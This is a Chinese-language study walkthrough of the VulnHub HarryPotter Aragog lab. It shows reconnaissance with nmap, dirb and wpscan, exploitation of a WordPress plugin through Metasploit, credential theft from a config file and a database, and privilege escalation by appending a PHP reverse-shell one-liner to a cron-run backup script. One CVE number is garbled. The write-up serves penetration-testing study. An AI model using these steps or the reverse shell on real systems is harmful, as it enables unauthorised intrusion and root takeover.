学习目标:
- 一月掌握渗透思路
靶场地址:https://www.vulnhub.com/entry/harrypotter-aragog-102,688/
学习内容:
基础知识:
- nmap wpscan metasploit mysql ssh
- php反弹shell语句 python 获得伪交互式shell
- wordpress内容管理系统(使用wpscan工具探测)
- .backup.sh 备份文件 ; find按 文件类型 查找文件
- linux计划任务查看 crontab -l
学习时间:
- 2024.8.18
打靶记录:
信息收集
- 主机发现
nmap -sP 192.168.178.0/24
发现目标机ip:192.168.178.162
- 端口扫描、OS版本探测、漏洞探测
nmap -sS -O -script=vuln 192.168.178.162
发现开放80 22端口,对应web,ssh服务。
3.目录爆破
dirb http://192.168.178.162
发现 /blog 路径
4. web 漏洞探测
访问 http://192.168.178.162/blog
;发现该博客是使用 WordPress
(CMS)生成的,我是使用 Wpscan
工具,来查找该博客网站和插件的漏洞。
Wpscan 执行命令如下: 为了获得漏洞的详细信息,我需要到Wpscan官网注册账户,获得api-token,作为命令的参数。并且,我使用了 --plugins-detection aggressive
激进式地探测,才发现插件漏洞。
wpscan --api-token=blsnsog49N5d0UwAIYACcXs3fKbchB7JpbCgNutJRHA --url http://192.168.178.162/blog -e p --plugins-detection aggressive
发现至少10个漏洞:cve-2015-9357 cve-2020-24312 cve-2020-25213 cve-2021-24177 cve-2024-0761 cve-2023-6852 cve-202-25213 cve-2024-1538 cve-2024-2654 cve-2024-37254
漏洞利用
1.metasploit 漏洞搜索
search cve: 编号 //这里我是用了cve-2020-25213
use 0 //使用该模板载荷
show options
set ** *** //来设置yes对应的元素
run //开始渗透
信息收集
在/home/hagrid98 发现horcrux1.txt ,内容是哈利波特的台词
2.shell后,发现我是www-data用户,且sudo 无法使用,也没发现其他用户的可用信息。为此,我对mysql数据库发起测试,看看能不能得到用户身份信息。
在/etc/wordpress 发现config-default.php 里面有数据库名,用户,密码等重要信息
3.
mysql -u root -p
use wordpresss;
show tables;
select * from users; //得到账户密码
4.我们知道数据库保存的是密码的hash,或是加盐的hash;所以我要到网上查找hash对应的明文。(password123)
5.建立ssh连接
ssh hagrid98@192.168.178.162
发现sudo无法使用,pyhton提权也无法完成;我就寻找备份文件 .sh
找到了.backup.sh
并且wordpress上一目录我发现mysql 和php 其中php可执行,我们可以些php提权脚本。
find / -name '*.sh' //从根目录开始寻找
文件作用:将网站uploads中文件,保存到tmp对应目录下。
推测该文件一直被执行(加入了计划任务)
crontab -l
是一个在 Unix 和 Linux 系统中用于查看当前用户 crontab(即计划任务)的命令。这个命令会列出 crontab 文件中定义的所有计划任务,这些任务是按照设定的时间自动执行的。
/2 * * * * 是一种时间设定的方式,表示任务将在特定的时间间隔内 (2min)重复执行 四个*分别是:分 时 日期 月份 星期几
思路:在/tem目录下,我编写php提权文件muu.php;同时编辑.backup.sh,添加内容:
/usr/bin/php /tmp/muu.php //来执行提权文件
<?php `$sock=fsockopen("192.168.178.160",9999);exec("/bin/sh -i <&3 >&3 2>&3");
?>
6.在9999端口监听,获得反弹shell端口,用户为root
nc -lvnp 9999
在/root下发现第二个flag
总结
总体思路还是不变。在漏洞探测时,我们使用了wordpress漏洞,依靠metasploit利用漏洞,获得shell;依赖mysql获得用户信息,利用计划任务的执行,来执行php反弹shell文件。
其中,mysql默认配置文件;.backup.sh备份文件;计划任务查询是关键。